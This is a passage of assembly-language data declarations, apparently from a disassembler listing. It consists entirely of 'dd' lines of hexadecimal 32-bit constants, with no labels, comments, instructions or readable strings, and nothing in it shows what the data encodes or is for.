		dd 119B5CD3h, 0D124EA00h, 0BDF22A92h, 0CD9E1ECBh, 0BA9780FBh
		dd 75B2F53Ah, 0ACFCEE5Ah, 0E8DB2A01h, 0DCC78A54h, 0AD48D2B7h
		dd 0D000723Ah, 0BAF50A61h, 1A605Ch, 4CEA5BF2h, 26F96771h
		dd 7831E900h, 7588AF36h, 0D9CA3A60h, 0C5B0A24h,	0BD46BBE4h
		dd 9D5B0B00h, 0E2CC28CDh, 0AE18000Ch, 59140A06h, 9C0004D9h
		dd 0FF358356h, 39EB517h, 939AB339h, 44E86806h, 3F00AA5Eh
		dd 3B237EAFh, 7F6382h, 0B8CA87BCh, 0E1157013h, 9D965D16h
		dd 0DF002E1Fh, 8243FDD2h, 3D781F74h, 79198ED9h,	27548641h
		dd 3E9C7099h, 7849E900h, 0F34495ADh, 0FAEFF430h, 0BB201760h
		dd 0E764003Fh, 1F01A723h
		dd 0D21D1800h, 0D0B670A9h, 0D7B31F6Ah, 0CD9C822Ch, 0E9407A4Fh
		dd 0A858F141h, 791960E7h, 0F4F24E7Bh, 0F59A0028h, 9B5814C6h
		dd 0B107E1B9h, 29CBCD3Fh, 0BF06F950h, 0EA620308h, 7F481BE5h
		dd 0D8BCADF1h, 0B3F4E1B2h, 5F82E300h, 0EE091645h, 7FC01C42h
		dd 2A51E0Ch, 44C76861h,	0B931A880h, 0AF015CA6h,	4AFE5F26h
		dd 64CCC457h, 4E980051h, 591D093Dh, 101CD9D5h, 0E180187Bh
		dd 3217F2F6h, 2180A0C9h, 0F7AB01BBh, 0B50B0414h, 5FB02B39h
		dd 3CC47D74h, 0B8070724h, 0AFBE5718h, 3A70EDA0h, 0F800F591h
		dd 0E5D9D601h, 0D5E17h,	56773041h, 4A882CCh, 9576E0Fh
		dd 0DEB02319h, 96BE907Ah, 2EF50045h, 48E65DDFh,	0AE02623Ah
		dd 740EA4B6h, 0EB70E04Ah, 78167DBAh, 0D6D0092h,	0B06975ACh
		dd 0F800723Bh, 1A03767Ah, 3BE9C54h, 7926FEC9h, 998028EDh
		dd 227D9ED8h, 95B8B03h,	0B0A6B6DCh, 0C59DA4h, 0D189AA49h
		dd 0BCC7BE59h, 0CD932500h, 12283826h, 77910029h, 0B15E303Dh
		dd 100F2FEh, 6255F3ADh,	57ED74h, 4875053Bh, 7EFE0DE4h
		dd 2ABC0A07h, 0A87028D1h, 817C9Eh, 0E9A4836Fh, 9AD95101h
		dd 4E918E00h, 603CD6B3h, 0C26700E7h, 7A8C183Bh,	8500639Fh
		dd 5944C174h, 213908h, 4573ED54h, 0C02A7A29h, 78BAD601h
		dd 5E85429Dh, 189BBE40h, 0CCB00B1Eh, 118E8DECh,	0E81CC0C0h
		dd 6C090C7Ah, 8173217Ch, 0DA8775F6h, 3A3D170h, 0A8029FE9h
		dd 0C5B84A3Ah, 5C003EC7h, 92E6476Ch, 0C2B7D8h, 0AFA9017Fh
		dd 0E5D1CEAh, 0EED59F00h, 9264711Fh, 85E10038h,	8208166Bh
		dd 0AE014A48h, 0FF4ED3B2h, 0A69E215Dh, 0A846CBC9h, 0A4BFE380h
		dd 81030A25h, 1A6FCD26h, 3C9CF04Eh, 3AE60064h, 8A5518FCh
		dd 90018EE0h, 5D32E154h, 3670C419h, 5C6A0013h, 0F54C8117h
		dd 6005FAEh, 0E5AD11ECh, 72993B76h, 0D6BE03A5h,	0DF075478h
		dd 0C980E893h, 17747BAEh, 680EC001h, 7FBECBF7h,	0E2207AD0h
		dd 862A005Fh, 0B6E1F47Ch, 0FB006C09h, 1069D837h, 0C4756h
		dd 0DFBC6D2Bh, 4FD9CCC3h, 0E6E5B60Fh, 235C6619h, 6FEEBAh
		dd 9E1214BFh, 0D80B71BBh, 0CF499300h, 2497E18Dh, 0CA0A0059h
		dd 0D4EA9476h, 1A008031h, 0A2FD2F4Bh, 0A59617h,	36E5B2F4h
		dd 851EC56Fh, 0D142AF02h, 0C0DFC311h, 75FC4BD8h, 84745061h
		dd 0D5380BA3h, 700F942h, 526D1348h, 4D873503h, 83491625h
		dd 73D1D821h, 0AE9E0066h, 8C63A574h, 8000DE4Dh,	0A0E1CEB5h
		dd 79880Dh, 0A59BA7C0h,	0F0E02FFh, 0BC0F7671h, 20FA4201h
		dd 28AD4036h, 6EAA00E2h, 7EE599C5h, 0C1A03241h,	0A300AC3Fh
		dd 48104EADh, 902E2AF5h, 3921000Eh, 1ACCCEABh, 6871A631h
		dd 0FA74F300h, 2DFF4D01h, 72B70BA1h, 1085BD71h,	7510205Bh
		dd 2E252DB2h, 40C88E13h, 0DB1903C2h, 0CA8C01EBh, 7D2D4F22h
		dd 84882CB6h, 1643880Ah, 70DB03CAh, 8D2EBCA8h, 6978B030h
		dd 7F93E7C1h, 0A529006Eh, 0C3CD0E1Fh, 0EE1FA70Fh, 1C92C6ADh
		dd 8DE12880h, 76D400F8h, 6C1A75CFh, 0B100FB52h,	5974A72Dh
		dd 960FA1EEh, 0C833042Ch, 537CB063h, 4BC5C900h,	1E023444h
		dd 9A7D00FFh, 0B823DF5Dh, 0E3E85EDBh, 0EAD22D1Dh, 6D840200h
		dd 178E9AAh, 0C8CEAFEBh, 0DD9EC4F8h, 24353014h,	34D2BA00h
		dd 0A46692C2h, 0BD2C003Eh, 0D13A84D4h, 6E002B03h, 0A57B4086h
		dd 8D2D14h, 9E1E731Dh, 57BA0199h, 0F94A400h, 0DB5B91C9h
		dd 625A002Ch, 7CEECEC4h, 5F12DE03h, 3440E2D1h, 6BAB7DC0h
		dd 0AA080F2Eh, 93A169A4h, 9ED115A1h, 0A8401B20h, 5A19DF94h
		dd 0EF9E41Ah, 512989E4h, 9A118180h, 70A884Dh, 906999D3h
		dd 219EEF00h, 7321508h,	4FB472D1h, 21BDD638h, 0A8003070h
		dd 84673E0Bh, 6CD3137h,	2C5DCCEh, 0E80799E1h, 909D8245h
		dd 80B8E3A3h, 508A6B01h, 5DC0D9h, 9683111h, 4C8BDCF0h
		dd 7152B700h, 0C62604FAh, 9F410001h, 53C34F3Bh,	2516708Bh
		dd 30407114h, 3D91EACFh, 4DC402B9h, 288521Ch, 38928C97h
		dd 808C5010h, 3DD73E79h, 6BF01D1h, 159AF90Eh, 4183E823h
		dd 437D7100h, 0DC90A153h, 0E5CF00DBh, 0A48868C2h, 5B756E37h
		dd 0B59EF300h, 0AA38291Fh, 8DB884h, 98015F8Ch, 5145ECF5h
		dd 77033F58h, 0E1925703h, 0E06D559Bh, 3DA8B8h, 8877D4DFh
		dd 0CBDE270Ah, 2F509Fh,	0C0E06005h, 374263ACh, 48062D00h
		dd 0DAAD5717h, 438D0026h, 0FBC94CE4h, 2F0065C4h, 98CFF54Dh
		dd 3E3DBC2Dh, 772C0CD2h, 250700E5h, 0A59D4755h,	2EFBB109h
		dd 0B92280EDh, 0C0B88492h, 0EE226E98h, 0C1008976h, 0DD2550D3h
		dd 71F32BCh, 0EF32016h,	0ABE450C6h, 0A2E0BBA0h,	6AAFBF00h
		dd 0D7B8293h, 1C68E84Ch, 409EC246h, 0A7E72739h,	5900FACBh
		dd 43712A1Bh, 9CB41Ch, 8184FFF4h, 0D91A12C8h, 6E367B00h
		dd 0E7BBB70Bh, 54A20010h, 0C4641D3Eh, 841DA527h, 0A44055CCh
		dd 8209BB08h, 0E92A0ED1h, 0E7A3C64Bh, 58F025CAh, 0AAC04112h
		dd 0AA40919Dh, 218B00A3h, 24CFFED9h, 62015B43h,	6A7F22FCh
		dd 54600A8Ch, 0F3B039AEh, 59C67500h, 7869BCB9h,	14E07D00h
		dd 84578810h, 0C98901B6h, 52CF18F3h, 0E565DC11h, 7143CB01h
		dd 22A8962Dh, 0E680A545h, 1BC7778h, 0BE3E578Bh,	0D8F94142h
		dd 0C0001233h, 0CEC8BBCCh, 0E0E91EBh, 0B0C44B88h, 0D8E9734Ch
		dd 5A53B200h, 365B697Fh, 4F990042h, 0EB2D877Eh,	2626B04Ch
		dd 0CD0E95A5h, 75DAA324h, 0ADC900A3h, 0C5CFAE0h, 0CE00A4E9h
		dd 99AC4A24h, 0C12C8Fh,	50326364h, 0CD3DF2E5h, 4A0DA80Dh
		dd 24FC7817h, 0B96D007Dh, 41286ACEh, 3B011FCDh,	90637523h
		dd 0D61A174h, 0B7C7D0h,	8FAA66A7h, 3B0BA009h, 0E8A54B00h
		dd 9F765519h, 7AC1383Dh, 0F2E29700h, 0A9EB5D8h,	0BE089500h
		dd 4A3BA441h, 0CBE01E49h, 1D08064h, 81CC9F1Dh, 148D6500h
		dd 2D215661h, 0F41001Bh, 0C2C5C435h, 9E2E773Eh,	6A00D1E5h
		dd 675B3952h, 6EA01F19h, 12D100DCh, 255F0579h, 2F66DF0Bh
		dd 20CF008Bh, 0FBC103h,	942DE7DDh, 6F3A3999h, 6C014800h
		dd 0F93F735Eh, 0D680009Fh, 92B6DE79h, 590F152Ah, 0A074062Ch
		dd 31A36313h, 0B36900A2h, 8DDD37CCh, 86076504h,	45487C66h
		dd 0F8AA8E40h, 26D598D9h, 3056D46h, 0E1AFE5B9h,	589B4080h
		dd 0EFBB3203h, 90FF85E8h, 10768h, 7241BC93h, 8150EE8Eh
		dd 0AF069BE4h, 3B97EDAAh, 0BE6E0062h, 94D6A63Dh, 0F80088A1h
		dd 5B269863h, 1385619h,	5EDA97B5h, 70502F9Eh, 0BE7A957Ah
		dd 7505A07Ah, 3E682DFEh, 108A2028h, 80B26923h, 0F86F2DC7h
		dd 577107E7h, 0F641619Bh, 0C9725093h, 0FDCB058h, 0A6D13C8Eh
		dd 548C1A5h, 0B9B23113h, 745780EAh, 3D00A489h, 85AF91D6h
		dd 7DE9629h, 0B8297EBh,	603577BFh, 0AF90DACBh, 317C260Ah
		dd 0C900A479h, 81E35F68h, 0EC860741h, 6105C59Fh, 30488E02h
		dd 0BF606E1Bh, 4FD77A28h, 0D23B06F9h, 602CE603h, 74E7BC00h
		dd 2BF1044Ch, 342A0071h, 609BA416h, 0C700FDAEh,	0C6EABE94h
		dd 6336C85h, 0CE121566h, 6F00B8CDh, 0BEAAC4C7h,	15048C6Eh
		dd 807C1EF9h, 0CC6571C0h, 0D04659FBh, 529E8Fh, 0C5AF7C3Eh
		dd 1701E0CAh, 3A372DD4h, 0AC47F284h, 8DE87D0h, 0D6D50010h
		dd 7865A1CEh, 0BD0396B7h, 0CD613059h, 44F1E83Eh, 0FE8530E0h
		dd 3F985BE0h, 0A0B3C80Fh, 6EEE20A8h, 2810913Ch,	1F80EAB2h
		dd 0CA050DCAh, 5820FC4Dh, 0DD11AE58h, 0B407BF30h, 20968165h
		dd 0DB317673h, 0B171B301h
		dd 0A6C64115h, 9AF6D040h, 9B3B00DAh, 0C3DF0482h, 0B20AF39Eh
		dd 0C82C7B4Eh, 6CAF6000h, 0C606FFh, 0EE8C6752h,	2B89353Dh
		dd 98267C00h, 55F5CBD3h, 0B7E800D9h, 0CF1BF270h, 1000B8E2h
		dd 0ED9A35DBh, 1886640h, 9C5B33D1h, 870A6CE4h, 1CBAFE61h
		dd 4200EC4Ah, 7EF85135h, 0B0577E98h, 68866008h,	0A3686F43h
		dd 700F81E6h, 0CF5CD70Ah, 0F4005264h, 55FC8D5Bh, 0EF7F0ECFh
		dd 0EC3C1E4h, 44F9B64Ch, 645C2008h, 7166ED00h, 7662979Ah
		dd 52570E60h, 9E604BD3h, 126CC77Ah, 0E7132907h,	2BC132B4h
		dd 8080BA8Bh, 4F270671h, 0AAF0BF5Ah, 0D1EA087Dh, 0E9D4C71Fh
		dd 59AE8FC0h, 68194Eh, 0E575428h, 2FACF6ADh, 0A3999000h
		dd 1520235Dh, 478B01C4h, 0BD33EA81h, 0AE044882h, 0D3024E0Ah
		dd 0D1F60C6Eh, 0EA03008h, 0B100B26Dh, 0BB10D893h, 218892Fh
		dd 0E97D449Eh, 0C8224B7h, 0FE1063FDh, 4CA28495h, 94A60C02h
		dd 846AF910h, 1525C521h, 0A21018ADh, 71F5812Ah,	960045C8h
		dd 624081CAh, 0F91D0F69h, 0D09D7EC2h, 8771811Fh, 1895C18Fh
		dd 0E51454F0h, 50741857h, 315924ABh, 0F261C9A1h, 0D184177h
		dd 7B484065h, 1F40AEFAh, 48E86321h, 87F852D2h, 4C00EA83h
		dd 49EF662h, 549101F5h,	0CDA8C8h, 0BB68F399h, 0CAD42A2Ch
		dd 98CB7514h, 65CF00B8h, 96C08941h, 4AEE068Fh, 5077DEE0h
		dd 5D8848h, 9F5FDB63h, 0BFD303h, 0EE4BFA14h, 0F2A20B7Eh
		dd 2123BD00h, 699B808Ah, 1EA00356h, 0E0BE6CD5h,	9D006872h
		dd 3892749Eh, 0F0C669h,	182309C1h, 0ECE994BDh, 0D0544005h
		dd 4C2001D5h, 6060AC8Ch, 0E47AC019h, 2D00F0C8h,	7F5B736Bh
		dd 0E62FCFFh, 443B69E9h, 2010CE60h, 2A003442h, 8C3FD53Ch
		dd 0A324A0h, 6B5F332Fh,	0ACA223CBh, 0B0A9C401h,	918D8914h
		dd 0E61CB0EEh, 3985B4h,	9CD75C89h, 32D4EEFh, 64C92701h
		dd 99D8197Ch, 1B004275h, 2AD4B6BBh, 74416DE4h, 329B097h
		dd 9D34D016h, 0C09D8E25h, 0EDB7E5A8h, 171A61Eh,	0FE6EF4C3h
		dd 0C0281F7Ch, 48840435h, 1CE3C08Bh, 0B2ECBED6h, 0D9E67900h
		dd 21F7110Ch, 9B7800FFh, 7F02AB95h, 0A4001C81h,	34A2EE5Fh
		dd 0A9C9AAh, 13243930h,	639DC34Bh, 73AC80Bh, 3E098032h
		dd 0B8B4D856h, 82550040h, 272FF099h, 0B0C03487h, 4B8876EAh
		dd 740100B9h, 55A92978h, 0E9149DEFh, 608D1F1Ch,	3A263E28h
		dd 572B0046h, 5C3BFFDFh, 8E0A1E95h, 58E9FECAh, 9F59235Ch
		dd 4C4EA259h, 0C308F400h, 0FB93FEB0h, 21103100h, 609D181Ah
		dd 0D01539BAh, 27052A81h, 0E0DC4608h, 0BB306A3Ah, 0E3ED40BCh
		dd 1832E280h, 31BF8516h, 58023E7Dh, 66C62327h, 5F28039h
		dd 0A0CB29h, 73AC9BC7h,	6C1E7DAh, 0CF037E77h, 1370B53Bh
		dd 4CDD8091h, 9D360044h, 33754B66h, 0DE035DC1h,	1C52793Ah
		dd 0FFA6D8E3h, 58F400E5h, 4597AE68h, 0A900758Ch, 0BA6C5015h
		dd 13D7D5E1h, 0FD017EEh, 33407CE0h, 71F264F0h, 0A6D1C40Ch
		dd 0FC693020h, 25CFE47h, 10183337h, 0AC9516AAh,	8497ADC1h
		dd 0B581E8h, 0FE0512E4h, 0CBA55BC0h, 94915D7Eh,	9FDB003Fh
		dd 3437861Eh, 0CD100558h, 2B4E7E07h, 916882F0h,	3798407Ah
		dd 55950E14h, 0FA01DF5Dh, 26905799h, 0B0866034h, 190F2Ah
		dd 0BEC687EAh, 38937EFEh, 0D4B81B09h, 3EE81D4Dh, 46A1DCC9h
		dd 6A03F8C0h, 416B6800h, 93509760h, 0A22E2B88h,	73038084h
		dd 12C187BCh, 610070E7h, 250BEF00h, 8C63913Fh, 0DB900031h
		dd 765AFD15h, 0AE0027B2h, 322C8FD3h, 5D7BB96h, 534B23CFh
		dd 3A844BC7h, 780089FCh, 9264E920h, 9B060055h, 293EBC86h
		dd 0D0A4CFD6h, 0A141A600h, 0D3BD5056h, 0BE8D1227h, 87642BB2h
		dd 498456BBh, 484B08C8h, 0BD26BBDAh, 0DDD60EA9h, 0E27C7400h
		dd 0A60EDF0Dh, 0E9D2CF7Dh, 0E00C15D9h, 0E488B85Eh, 6A12D3E6h
		dd 4209358h, 3B4DF5DEh,	38813FEEh, 23C0B08Fh, 0A0FC4A5Fh
		dd 27BBDE0h, 560C0912h,	0F490278Ch, 240A7D0Fh, 80AD1625h
		dd 0B909C78h, 60B7D20Eh, 76812837h, 0A97F1D35h,	2A61C458h
		dd 90A859h, 4FDA846Ch, 0BB04A9FFh, 0E845332Ch, 32910C3Ch
		dd 0E35D1009h, 891968E0h, 0B8C303Eh, 0C5E01641h, 0A7780C7Ah
		dd 0CD20BA7Dh, 2076C13Dh, 46FA1419h, 0B500C06Eh, 0AFCA1C59h
		dd 72002650h, 0F1E75734h, 0E0D67021h, 40954937h, 26B0B430h
		dd 6090B7EAh, 8290DF26h, 1FA86500h, 0C27958h, 3C6D7F09h
		dd 0F6F75B2Bh, 0A3129CA8h, 2DC1EB13h, 7412h, 90817DAFh
		dd 84993848h, 66511700h, 79E4F5B4h, 3C6224h, 9910F481h
		dd 0F980D995h, 13AA8088h, 0E100A9B1h, 87CD3DD6h, 0AC04DCCh
		dd 16D37A8Dh, 514283E4h, 3924FBC7h, 902B0879h, 4F898806h
		dd 0FF7D0090h, 924CA60Fh, 0CE0A8E14h, 0CC509871h, 0CAD11900h
		dd 1FF47293h, 42820EF6h, 7FB61881h, 8139AC84h, 0E83161F3h
		dd 2A008B1Fh, 0C5225947h, 0B159A10h, 2E94747Ch,	0A0DA4827h
		dd 0E3098AA1h, 0EA53D307h, 1642C6FCh, 0A424E8CFh, 0BA82006Ah
		dd 789680D4h, 50037B66h, 0A0512810h, 0E875F37Ch, 4C3F0E98h
		dd 4B01A063h, 37BB5C13h, 0E868DD6Eh, 7915E507h,	3CCFE9h
		dd 67D28F28h, 0D506C0h,	0C2555943h, 4725C1D1h, 26277B00h
		dd 52B4A771h, 24D4F287h, 3C6B0D0Fh, 7D53E882h, 1CC170A5h
		dd 0DE33C066h, 38CD2500h, 0A742EF09h, 0D3EB0129h, 6E820788h
		dd 67D5E83Ch, 628CA900h, 0EC39615Eh, 5B2001D6h,	7604AAEDh
		dd 78860F6h, 63C48703h,	0E0663ABAh, 7C37DC5Eh, 465C185Bh
		dd 0C7643860h, 0E0FC2800h, 0B436C52Bh, 615D0059h, 0BF8F0D8Dh
		dd 71D5A89h, 0F5C01FB2h, 105C39C0h, 0E530122h, 95DCBE09h
		dd 811880EEh, 6A8DF624h, 73EC00E7h, 0A353FDC6h,	440E9BF4h
		dd 0A7A4D702h, 0EB5082EEh, 9AB173h, 0B704F327h,	0C547EC23h
		dd 769C4E30h, 0D9AEF1h,	4D33A846h, 0BC96B16Ch, 691ED718h
		dd 0DEB2C0h, 0A0991255h, 9B3411F5h, 0C8C64300h,	95AAFB8h
		dd 0E81900CEh, 5228B7B9h, 9100D777h, 0D4C94EBDh, 3B03F27h
		dd 0C096BBA2h, 37E9CBDCh, 545E010h, 64AF1A00h, 1C50C342h
		dd 5E5200EFh, 70239C1Bh, 0CC0383BAh, 4B6A064Eh,	18F8D860h
		dd 0AE50089h, 0A5BAD919h, 106B9ABh, 0D80C4630h,	0ADE87D20h
		dd 9BBF0904h, 2AC4D800h, 94006144h, 0F5D79227h,	1D5D3ADh
		dd 6891F2EDh, 81CDCB54h, 0F9FEEED8h, 1180D9B4h,	3ED707AFh
		dd 0E0831F3Ah, 1C4C94h,	74E3EFE2h, 0A017152Dh, 8E76D80Ch
		dd 0C87961h, 3A507ABEh,	6AFD688Ah, 0F64F3F06h, 20F5C5h
		dd 0B07D58A2h, 6677CBF4h, 62FB9200h, 2C5DF51h, 0BAE8031Ah
		dd 0C0E61361h, 0E314EFC8h, 0FBF8D000h, 3353B74Ah, 0EF2F1h
		dd 51B86B6Dh, 0D1965AEEh, 0A74B50Bh, 78005F8Dh,	35F56E64h
		dd 0CD3AD407h, 0D9A03227h, 502B4013h, 68C82Eh, 0C6D86B5Ah
		dd 82F0CD5Bh, 3A9A303h,	74362DBh, 3B1875F1h, 11BB305Ah
		dd 0F2339D87h, 89B8E8EAh, 0BD862C2h, 0AC800E5h,	2F1AF963h
		dd 0F860D7F6h, 0DF9049F2h, 20C20FA8h, 13603D59h, 8F8ADABAh
		dd 0D2294318h, 6CFD9F1h, 0BF7DCB7Fh, 5201A892h,	13F5DAA7h
		dd 4DCDCFBh, 65CF001Ah,	0D34AB561h, 9702806Eh, 583269DFh
		dd 66836006h, 16D8C143h, 4D8DF2F5h, 5C7AFCC8h, 33D18210h
		dd 0BE00E2DDh, 630F259Ch, 60292D1Eh, 1AFB1910h,	0F706999Fh
		dd 0E2063D40h, 0F4090789h, 0F06E02F1h, 0B1FCEEBFh, 0F9001892h
		dd 0A329AB01h, 0B03D69FAh
		dd 606A745Fh, 8AE89887h, 9900B68Bh, 4215DDFEh, 0B0452E32h
		dd 6027340h, 9A70D34Bh,	4A00B839h, 0DF763CEDh, 7E7C6Ah
		dd 0CFA352EAh, 0F0B4736Fh, 0A9844030h, 0A83B48h, 0FE56319h
		dd 0C8E0F3B3h, 6491C075h, 81A5B90Fh, 0F2F1A26Fh, 0C0D55C20h
		dd 0A433A7A0h, 0D218C9BEh, 7D319937h, 0E8DC3B71h, 0D734B500h
		dd 413B81EFh, 3D472100h, 0D9F52E24h, 95D63B51h,	7325EB0Fh
		dd 52ABDA40h, 5B00EC19h, 7B9BA04Ah, 0E82B18h, 0DA8FA425h
		dd 62B1C854h, 9B9448h, 8464D9F9h, 532603h, 0AEEB27C9h
		dd 225CACFAh, 684F1B07h, 0A9615120h, 0F1C882FBh, 0E36600B0h
		dd 0A7D3590Dh, 0A203FAECh, 9CCF1B15h, 3A11A95Ch, 0CB78D4h
		dd 59885514h, 4D2E1DF6h, 0F1FDCF12h, 60507D02h,	8C5C8094h
		dd 895C5DAh, 4B6982F3h,	2007B0B9h, 3D9D7F2h, 19D255ACh
		dd 2398FA66h, 7F00A478h, 1E27C069h, 284FCAh, 6EFDD276h
		dd 1F17DF2Fh, 0EE5361C0h, 5FBC03h, 0B5D051D7h, 4B9D6E36h
		dd 24034179h, 282E6404h, 9BBAC053h, 0F0723DDBh,	5CC35100h
		dd 0E7CE3491h, 974B48CAh, 0F5361500h, 0CD5557h,	87B22AC8h
		dd 0F378FBCh, 3EC60700h, 5267E5EFh, 319821h, 78A81811h
		dd 0D4691CF9h, 0AEF57C00h, 45E3CD33h, 0C5E5009Eh, 21532922h
		dd 49002DC8h, 41A1A831h, 0A0F9F2h, 351A4373h, 8BC22155h
		dd 52DB4600h, 0DA1272ABh, 487B0075h, 15F79E43h,	5903859Bh
		dd 2328C563h, 93B3A896h, 0E2873460h, 77C9C090h,	9F6F86D4h
		dd 17050070h, 0E278C64Fh, 0A90C0363h, 0BD0777CDh, 0EE00209Eh
		dd 88C3B1B5h, 6A5F88Ah,	84C692C4h, 331D5016h, 8C47FF4Fh
		dd 76801598h, 386BC827h, 0E01F1847h, 907D3D44h,	0E90D0940h
		dd 5818D554h, 0A80ADA71h, 0FC838D9Ch, 81D0B362h, 0DA4755B8h
		dd 1CE03E4h, 597336B9h,	219CC190h, 0A10CEB45h, 86C9F25h
		dd 0E28B2CE3h, 8D3903B8h, 5FCAC9F2h, 0B09CE081h, 0F6F08E26h
		dd 28528051h, 9A23866h,	0CFDCD5DDh, 9C17A580h, 0EB1E9E92h
		dd 638FFBE3h, 79007FD4h, 6A31A85Fh, 0D85C60F1h,	4697269Eh
		dd 1D8EC491h, 0EAF7243Bh, 67DA2A01h, 0D052FF29h, 0B5009C68h
		dd 0C4CDC8C7h, 0A46250FFh, 3B841816h, 0ED088474h, 2FD20609h
		dd 8D542071h, 26E1A0h, 431FF556h, 5B6513Dh, 0A8552F29h
		dd 422E2258h, 364D00EBh, 40DFE7C8h, 2A8800CAh, 0CFD64615h
		dd 49A395Eh, 6EDB4100h,	51AC6E8h, 84C54990h, 400CC22h
		dd 9DAFBB52h, 0B16224h,	972CBF78h, 696E9396h, 94683948h
		dd 995F0CCCh, 2C81120h,	0A7F57DD4h, 7046C579h, 84158428h
		dd 3BCFC31Dh, 864CF500h, 7E8B6Bh, 998C57C5h, 374A7629h
		dd 81A2B100h, 30196E98h, 65FE0F4h, 0AB7C0FB0h, 373A4962h
		dd 19CF00ECh, 743C1B2Eh, 0D00A507Dh, 0E5610C6Bh, 0DB909EFBh
		dd 622BDD01h, 0D677AC40h, 791F8C26h, 0C87804A3h, 54A73133h
		dd 7B98BC03h, 0C5037A50h, 0C2FC096Dh, 5983E052h, 0F6917197h
		dd 36630092h, 0C7A17DBAh, 0AA001AB8h, 0C3614CCFh, 0A8B0B43Bh
		dd 105EE394h, 508B08D1h, 9848FA94h, 0D90EDD28h,	9AFD44D2h
		dd 2113A431h, 0FBCF317Ch, 774274D8h, 4E61EB13h,	0F50B4020h
		dd 28226006h, 24FC31D3h, 0B200DF7Dh, 0F1BE045Eh, 1D363D8Bh
		dd 6F9B9B5h, 783F7315h,	0E130CFFEh, 5343CE42h, 0FC490039h
		dd 96A90D17h, 0F286775h, 510F045h, 0F68022C7h, 49A88C48h
		dd 8F16721h, 41004B07h,	0C847C334h, 1F500099h, 0DCF0D932h
		dd 0F166A19h, 1803F918h, 95CD6FBDh, 5255F000h, 9A89A2F0h
		dd 23051E60h, 0D3B581A4h, 53A6077Fh, 9C04CCh, 1D7A592Ah
		dd 298700E4h, 78BED995h, 1E021FF8h, 0CC82327h, 0C9D845E9h
		dd 40D8442Ah, 393F4ABFh, 79EFB706h, 1FF0775Dh, 80016223h
		dd 819DE424h, 89004872h, 2D47FAD9h, 122019D3h, 6FC14082h
		dd 6F610730h, 9A099B8h,	3D6EC715h, 9E01590Bh, 0C9D60C02h
		dd 1845F6A4h, 18042AE9h, 0F0F5DC40h, 167D1243h,	949400F8h
		dd 185D50A8h, 0AF7B1A7Ch, 3B1C2A48h, 49D68953h,	0A8109B8Bh
		dd 8BD0EBBh, 0C43432CAh, 0D031139Bh, 0BBA950h, 0C58AD58Bh
		dd 6D7990F3h, 88E28E00h, 4FCD2EA2h, 5A7CB1E4h, 7C901CA9h
		dd 8900BFE8h, 0FA864532h, 906A8234h, 0D82C60B8h, 42ECCBDh
		dd 0B975150Eh, 30F11842h, 10E7C35h, 0E157ACAAh,	3280C8A6h
		dd 0BE305020h, 8A62CCA5h, 96D4186Ch, 61DE6213h,	0AA5A3831h
		dd 585B7470h, 9826406Ah, 47710774h, 0F3040BDh, 0F72C81DBh
		dd 149D4F6h, 63AF4EBCh,	40014072h, 607223BBh, 3DAC4C91h
		dd 0A5E194A8h, 0DF07C601h, 42D1BAB2h, 6599B850h, 1E88C0ABh
		dd 9375043Ch, 79B2FF00h, 436CC386h, 0B0B30005h,	0C56E7F44h
		dd 0C1636CAh, 600267ACh, 61E4E008h, 0F0505A48h,	0D4BBCBA6h
		dd 1810F050h, 7B81C0C1h, 112F65B2h, 2EFB4375h, 36805020h
		dd 0F637461Fh, 0E07D94h, 9E2932F2h, 74C74165h, 0A486D200h
		dd 19E95F9Ch, 4B60C41Ah, 480037C4h, 4899A802h, 0AADC0440h
		dd 0CF7EB4h, 6E208492h,	0DBDBCF5h, 16836304h, 74D13A11h
		dd 0DAF84B98h, 3B1A3B36h, 392EA489h, 0E8A09446h, 2C5E294Ch
		dd 9057BCA8h, 0DA9A8905h, 0CAC0AF0Ah, 0A02D127Dh, 711C94ECh
		dd 537C50h, 0F56C6EAh, 6C6ADC99h, 0DF2F9700h, 1BFB525Ah
		dd 5CE2008Ch, 2E1A709Ch, 9312CAD2h, 140269A8h, 8044DCD4h
		dd 0D85334BCh, 0B810603Bh, 0D5F6BCEDh, 3AB32001h, 0BE627D5Ch
		dd 58EFE0FBh, 7A11E8A8h, 0BA8C00C6h, 59890616h,	316086D3h
		dd 27C4E891h, 0BD1800CBh, 0E476156Ah, 0C974FD9Eh, 77DDD91Fh
		dd 3B009C5Eh, 50D4452h,	8E286h,	0FFD307CEh, 0EDA591E1h
		dd 4ABA9B01h, 1D43F474h, 0CCAC081h, 29A79712h, 0D82F00A8h
		dd 0C5E586A6h, 50E6E871h, 728E01Fh, 0D4EA7F18h,	0F302403Ch
		dd 0C60E2EF9h, 6E42EB2Dh, 596AE032h, 1F752281h,	0CE1BA2C2h
		dd 16807724h, 0AD0A3D30h, 9530B0A4h, 153C712Dh,	0F09AB4h
		dd 0D54C8B5Bh, 66C16231h, 0D43A0C01h, 12A7D0DAh, 0FE182BD3h
		dd 4212FC04h, 79019D89h, 57F1AC24h, 73DECCC4h, 2CA307F0h
		dd 4D022h, 0AD82B9DBh, 0FF9BD0C0h, 789BCDFh, 0DCE4D8FEh
		dd 51F8C8AEh, 12510F5h,	2AC0A9DBh, 250C0B9h, 0A0176308h
		dd 0D71D9C00h, 3B711878h, 5B823A7Ch, 19591E98h,	11848458h
		dd 488CD7Bh, 70B8FB9Ch,	1825541Fh, 1B0C40Dh, 824D519h
		dd 14BE42A0h, 143CAF8Ah, 2A0CC56Ch, 285424A0h, 3C42D20Ch
		dd 48735414h, 0C4B5074h, 0F730A8B8h, 0E79D4545h, 9C25B082h
		dd 0F53C6C46h, 26248DC0h, 19A71878h, 3CA08508h,	0A0449766h
		dd 2190A6B4h, 0D015CA27h, 9572210Ch, 0A7292424h, 18809590h
		dd 9CA66808h, 8019CC99h, 2C0E2F1h, 0E74B0DE9h, 84C0FABEh
		dd 8B587A18h, 0F7EA44h,	55F0FF7Eh, 80009124h, 0C92E413Fh
		dd 8700A8EAh, 3E3BE45h,	180E29Dh, 12624D7Ch, 0C8220470h
		dd 674C8FD1h, 99E30658h, 3B48FFABh, 54180659h, 0FAEEA027h
		dd 0C675B20h, 6BCD7385h, 0CF712680h, 237A8800h,	0F61C169h
		dd 0D7FC07B9h, 70D21D9Bh, 0F48E0C22h, 24114F00h, 0F0472E48h
		dd 4CB0EAh, 0A54BB927h,	0CD418157h, 48289400h, 349E2F9Dh
		dd 5DB73B23h, 0EB4B5F05h, 0BE1C7CD6h, 8C835801h, 0BB2423F5h
		dd 2E92F8h, 391667D9h, 0E1A9AD9Fh, 8118B207h, 80DBB7D6h
		dd 93BB6FD7h, 58C5639Dh, 80ED04FDh, 82B54526h, 21B19501h
